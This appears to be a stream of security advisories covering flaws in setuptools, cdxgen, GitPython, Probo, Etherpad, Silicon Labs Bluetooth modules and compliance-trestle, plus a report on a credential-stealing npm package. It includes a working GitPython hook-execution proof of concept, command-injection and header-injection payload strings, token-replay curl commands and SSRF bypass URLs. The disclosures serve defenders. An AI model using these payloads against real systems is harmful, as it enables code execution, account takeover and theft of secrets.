Search: h-w-g.com

### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946

## Summary A command injection vulnerability existed in the Maven scanning flow of cdxgen before version 12.4.3. When cdxgen scanned an attacker-controlled Maven project, repository-controlled paths could be used in the Maven command construction. In affected versions, some Maven invocations were executed with `shell: true`. A directory name containing shell metacharacters could therefore be interpreted by the shell instead of being treated only as a filesystem path. This could allow an attacker who controls a scanned repository to execute commands in the cdxgen process context. The issue affected both the CLI and server mode. The issue is patched in `12.4.3`. ## Affected asset - Project: cdxgen - Tested version: 12.4.1 - Mode tested: server mode - Endpoint: `POST /sbom` - Scanner path: Java / Maven project scanning ## Patch Version 12.4.3 includes hardening for this issue with PR #4059 The patch adds multiple mitigations: - Maven command invocations no longer use unconditional shell execution on POSIX platforms. - Bazel command invocation was similarly changed away from unconditional shell execution. - Windows compatibility is preserved using `shell: isWin` where needed. - `safeSpawnSync` now blocks `shell: true` invocations when the command or direct argument values contain shell metacharacters. - cdxgen does not validate or sanitise every nested directory. The threat model is updated to clarify mitigation scope. ## Workarounds The recommended remediation is to upgrade to 12.4.3 or later. If immediate upgrade is not possible: - Do not run cdxgen server mode on untrusted networks. - Do not expose POST /sbom to unauthenticated or untrusted clients. - Avoid scanning untrusted Java/Maven repositories. - Run cdxgen inside a locked-down container or sandbox. - Remove sensitive environment variables from the cdxgen process environment. - Use least-privilege filesystem mounts. - Restrict outbound network access where possible. Use cdxgen secure/dry-run modes where suitable to inspect planned operations before performing scans. Configure host and command allowlists where applicable, such as: - CDXGEN_SERVER_ALLOWED_HOSTS - CDXGEN_GIT_ALLOWED_HOSTS - CDXGEN_ALLOWED_COMMANDS - CDXGEN_SECURE_MODE=true These mitigations reduce exposure but do not fully address the vulnerable command construction in affected versions. ## Threat model clarification The mitigation added in 12.4.3 applies to the cdxgen process boundary. Specifically, cdxgen now hardens command, option, and path values that cdxgen itself passes to external processes through safeSpawnSync. This does not mean cdxgen sanitizes every nested path, module name, generated path, or project-controlled value that an external build tool later discovers and interprets inside its own process. Once cdxgen safely invokes Maven, Gradle, Bazel, SBT, or another build tool, that tool’s internal behavior remains a separate trust boundary. ### In scope for this fix: - command and argument values passed directly by cdxgen to child processes; - cdxgen’s own use of shell: true; - Maven/Bazel command invocation paths controlled by cdxgen. ### Out of scope for this specific mitigation: - arbitrary nested paths later discovered by Maven itself; - Maven plugin behavior; - Maven lifecycle hooks; - build-tool-specific interpretation of project files after cdxgen has launched the tool. This residual risk is documented in the cdxgen threat model and is why untrusted project scans should still be run in sandboxed, least-privileged environments. ## Detection Possible indicators of exploitation or probing include: - Maven module directories containing shell metacharacters such as: ``` ; & | < > $ backticks newlines ``` - Logs showing settings.xml or pom.xml discovered in suspicious paths. - Unexpected files created outside the scanned repository during a Java/Maven scan. - Unexpected child process behavior during cdxgen server scans. - cdxgen server receiving POST /sbom requests for attacker-controlled Git URLs. Example suspicious path pattern: ``` evil;cd${IFS}..;cd${IFS}..;printf${IFS}...>...;# ``` ## Credits Reported-By: @aleff-github ## Resources - Patch PR - https://github.com/cdxgen/cdxgen/pull/4059

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Probo is a self-hostable governance, risk, and compliance (GRC) platform built for engineering and security teams. Probo's `saferedirect` package validates redirect URLs used across authentication flows (OIDC, SAML, session transfer, OAuth connectors, and trust-center magic links). Prior to version 0.19.3.1, the validator only inspected the second character of relative paths, so a URL like `/../\evil.com` passed validation because the second character is `.`. Go's `http.Redirect` normalizes this path to `/\evil.com` before setting the `Location` header. Browsers can interpret the backslash as a host separator and redirect the user to an external domain (`https://evil.com`), bypassing the intended same-origin restriction. This enables open-redirect phishing: an attacker can craft a `continue` parameter (or embed a malicious URL in a session-transfer token) that appears to originate from a trusted Probo domain but redirects victims elsewhere. This is fixed in `go.probo.inc/probo` 0.193.1 by normalizing relative paths with `path.Clean` before validation, rejecting backslashes (including percent-encoded `%5c`) anywhere in the path, and re-checking the normalized result for protocol-relative and backslash prefixes. Self-hosted deployments should upgrade to probod v0.194.1 or later. SaaS deployments on getprobo.com are patched. No practical workaround is available for self-hosted installations.

A malformed Bluetooth connection request message can cause the RS9116W/SiWx917 to leak potentially sensitive information.  See vulnerability B-E4 in the related paper below.

Passkey entry Bluetooth LE legacy pairing can be bypassed in the RS9116W and SiWx917 by manipulating the temporary key value.  See vulnerability B-E3 in the related paper below.

An unencrypted 'pause encryption request' message causes a denial of service in the BT122 module.  See vulnerability B-E10 in the related paper below.

A malformed Bluetooth connection request message can cause the BT122 to leak potentially sensitive information. See vulnerability B-E4 in the related paper below.

The BT122 module stops advertising after receiving a plaintext 'pause enceryption response' message resulting in a denial of service. See vulnerability B-E2 in the related paper below.

SMP security request (from peripheral) does not include the maximum encryption key size supported. Using a key with less than the maximum keysize makes brute-forcing the key easier. See V6 in BLERP paper linked below.

Re-pairing with a legitimate device can use a lower security level than previous making brute-forcing the LTK easier. See V4 in the BLERP paper linked below.

Bluetooth re-pairing with an existing device can use a lower security level. RS9116W and SiWx91x impacted. See V3 in the BLERP paper linked below.

Spoofing an already bonded device can force either RS9116W or SiWx917 to re-pair/bond with a rogue device. See V1 in BLERP paper below

Etherpad's device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token in the GET response body ## Description Etherpad ships an endpoint pair under `/tokenTransfer` (`src/node/hooks/express/tokenTransfer.ts`) that lets a logged-in user move their HttpOnly author token to a different browser (typically by scanning a QR code containing the transfer URL). The flow is: 1. **POST `/tokenTransfer`** — the source device sends a request whose own author cookie is read off the server-side cookie jar. The server mints a random UUID and stores the author token (and arbitrary `prefsHttp` field) under a DB key keyed by that UUID. The UUID is returned. 2. **GET `/tokenTransfer/{uuid}`** — the destination device GETs the URL containing the UUID. The server reads the stored record and sets the HttpOnly author cookie on the response. The original implementation has three serious flaws: 1. **No expiration check.** `createdAt` is written to the record on POST but never inspected on GET. A leaked transfer URL is redeemable indefinitely. 2. **No single-use enforcement.** The DB record is not deleted after a successful GET, so the same URL can be redeemed repeatedly — each redemption yielding a fresh cookie set on whoever issued the GET. 3. **Author token echoed in the response body.** The GET handler ends with `res.send(tokenData)`, which serializes the full record — including the raw author token — into the JSON response. Any JavaScript on the page that issued the GET can read the token, defeating the HttpOnly cookie design that exists specifically to keep the token out of JS reach. Combined, these mean that any disclosure of a transfer UUID (browser history, mis-shared QR code, screenshot, server log, third-party plugin that proxies the request, an unencrypted intermediate hop) results in **persistent authorship impersonation of the originating account** — the attacker doesn't just get one cookie, they can re-redeem and they get the raw token in cleartext for storage / replay against other endpoints. ## Severity rationale - **AV:N** — exploitable over the network. - **AC:H** — requires the attacker to learn the transfer UUID via some out-of-band channel; UUIDs are random. - **PR:N** — no authentication required at the redemption endpoint. - **UI:R** — the legitimate user must have issued the POST and the UUID must end up where the attacker can see it (QR code, screenshot, etc.). - **C:H / I:H** — full author identity takeover (read + write everything that author can). - **A:N** — no direct denial-of-service. CVSS lands at 7.5 (High). Some operators may reasonably score this lower (UI:R + AC:H) if their threat model assumes the transfer URL never leaves the user's own device pair. ## Affected versions - `ep_etherpad-lite >= 2.6.0, <= 3.0.0`. The `/tokenTransfer` endpoint pair was added in [`41cb680` "let user maintain a single session across multiple browsers" (#7228)](https://github.com/ether/etherpad/commit/41cb680), first tagged in **v2.6.0** (2025-11-18). All three flaws (no TTL, no single-use, token in response body) were present from the introducing commit and persisted through `v3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ``` # 1. Victim posts a transfer from their device. curl -X POST https://pad.example/tokenTransfer \ -H 'Cookie: token=t.victim-author-token' \ -H 'Content-Type: application/json' \ -d '{"prefsHttp": ""}' # -> {"id": "1f0b2a3c-..."} # 2. UUID leaks (browser history, intercepted QR, etc.). # 3. Attacker redeems it from a totally different machine: curl -i https://pad.example/tokenTransfer/1f0b2a3c-... # Headers include: # Set-Cookie: token=t.victim-author-token; Path=/; HttpOnly; ... # Body contains: # {"token":"t.victim-author-token", "prefsHttp": "", "createdAt": ...} # # Attacker now owns the victim's identity. They can also re-redeem the # same UUID (no single-use), and the body gives them the cleartext token # even if the HttpOnly cookie isn't useful to their tooling. ``` ## Workarounds - Disable any UI that surfaces the transfer URL (QR code, copy-button, etc.). - Reverse-proxy block `/tokenTransfer/*` if device-pairing is not in use. - Set short DB cleanup intervals (does not address the JS-readable body issue). None of these workarounds are sufficient on their own — upgrade is the only complete fix. ## Fix Patched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)): 1. **5-minute TTL** (`TRANSFER_TTL_MS`). Records older than this return 410 Gone. Records with absent/non-numeric `createdAt` (legacy records from older code paths) are treated as expired. 2. **Single-use.** The DB record is removed **before** the success response is written, so a parallel request that wins the race obse

# GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect) **Severity:** Medium **CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` **CVSS suggested base score:** ~6.1 — Medium *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)* **CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests ## Title `x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL) ## Description Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header: ### Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning) The admin static-serving handler read `req.header('x-proxy-path')` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently: - An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case — no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache. ### Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL) The legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as: ```ts res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`); ``` A local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/<pad>` header, which browsers interpret as a protocol-relative URL — equivalent to `https://evil.example/p/<pad>`. **Open redirect**, exploitable for phishing. Both issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed. ## Severity rationale - **AV:N / AC:L / PR:N** — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response. - **UI:R** — victim must visit/interact with the admin UI. - **S:C** — scope changes (attacker context to admin origin). - **C:L / I:L** — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining. CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed. ## Affected versions - **Admin XSS (Issue 3a):** `ep_etherpad-lite >= 2.1.0, <= 3.0.0`. The unsanitised `replaceAll("/admin", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` "Fixed api header authorization" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it. - **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` "scrub history in-place on the pad URL" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA: `>= 2.1.0, <= 3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ### XSS / cache poisoning ``` curl -s 'https://pad.example/admin/index.html' \ -H 'x-proxy-path: "><script>f

The OpenShift Compliance Operator v1.9.2 is now available. See the documentation for bug fix information: https://docs.redhat.com/en/documentation/openshift_container_platform/latest/html/security_and_compliance/compliance-operator#compliance-operator-release-notes

Red Hat Advanced Cluster Management for Kubernetes provides the capabilities to address common challenges that administrators and site reliability engineers face as they work across a range of public and private cloud environments. Clusters and applications are all visible and managed from a single console—with security policy built in. This advisory contains the container images for Red Hat Advanced Cluster Management for Kubernetes, which add new features and enhancements, bug fixes, and updated container images. See the following Release Notes documentation, which will be updated shortly for this release, for additional details about this release: https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.15/html-single/release_notes/index#acm-release-notes

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85b93f1a0694dc37c94e18c12eb32ebe9cab96ded318e46ee5c774db80f4a648) On require('bcs-compact'), index.js runs a self-scrubbing IIFE that reads the installer's Sui wallet keystore at ~/.sui/sui.keystore, ~/.sui/sui_config/*.yaml, and any.env* files containing SUI_/PK_B64/PRIVATE_KEY markers, base64-encodes their contents, and PUTs them to api.github.com/repos/futongwan/sui-research-notes/contents/fingerprints/... using a hardcoded GitHub personal access token. The destination host (api.github.com), repository slug (futongwan/sui-research-notes), and Bearer token are reconstructed at runtime via an XOR routine keyed on the string 'bcs-c0mpact-v10' to hide them from static inspection. After exfiltration the payload rewrites index.js on disk to remove the /* compat-probe:start */.../* compat-probe:end */ block so the installed file no longer contains the malicious code on subsequent inspection. The package is presented as a BCS codec; the exfiltration and anti-forensics behavior have no relationship to that stated purpose. ## Source: ghsa-malware (26785e267ea5dbbb1a77bd9745feb4eed05a2579f8855af25bacd40264a837e4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A security update for amazon-ecs-init addresses CVE-2026-10722, an integer overflow vulnerability in the github.com/cilium/ebpf library. This overflow occurs during BTF string offset boundary checks and can cause a crash when malformed ELF/BTF input is parsed. The update also includes various enhancements and bug fixes.

### Summary `compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks: - IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network('169.254.0.0/16')` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match. - IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners. A malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block. ### Affected versions `compliance-trestle` (PyPI) versions `<= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all. ### Privilege required Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile's imports. ### Root cause `trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167): ```python ALWAYS_BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), # IPv4 loopback only ipaddress.ip_network('::1/128'), # IPv6 loopback (single address) ipaddress.ip_network('169.254.0.0/16'), # IPv4 link-local only ipaddress.ip_network('fe80::/10'), # IPv6 link-local ] METADATA_HOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', } def _check_blocked_networks(self, ip_addr, hostname): for network in ALWAYS_BLOCKED_NETWORKS: if ip_addr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...) ``` Four independent gaps: 1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo('::ffff:169.254.169.254', None)` returns an `IPv6Address`. Python's `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal. 2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set. 3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`). 4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding. Sibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps. ### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator) ```bash # 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 # Name: compliance-trestle # Version: 4.0.3 # 2. Driver cat > e2e_full.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestl